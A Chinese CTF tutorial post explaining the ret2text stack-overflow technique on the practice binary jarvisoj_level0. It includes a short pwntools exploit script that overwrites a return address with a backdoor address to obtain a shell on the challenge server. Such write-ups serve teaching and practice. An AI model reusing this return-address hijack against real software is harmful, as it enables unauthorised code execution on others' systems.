【PWN】ret2text

admin 2024年10月15日12:53:04评论13 views字数 447阅读1分29秒阅读模式

原理 #

ret2text就是篡改栈帧上的返回地址为程序中已有的后门函数,我们需要知道对应返回的代码的位置。

例题 #

jarvisoj_level0,可在buuctf网站中下载。首先使用checksec工具查看它开了啥保护措施,基本全关。

【PWN】ret2text

然后我们使用ida查看一下该程序,程序很简单,有明显的栈溢出漏洞和后门函数,后门函数地址就为0x40059A。

【PWN】ret2text

【PWN】ret2text

ida帮我们计算出来了buf字符串距离rbp有0x80个字节,由于rbp本身还占8个字节,所以溢出0x88个字节后将返回地址修改为后门函数的地址exp如下。

 
from pwn import *

#p = process('./level0')
p = remote('node3.buuoj.cn',27644)
sys_addr = 0x40059A

payload = cyclic(0x88) + p64(sys_addr)

p.recv()
p.sendline(payload)
p.interactive()

123456789101112 - source:wiki.wgpsec.org

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日12:53:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】ret2texthttp://cn-sec.com/archives/3270956.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息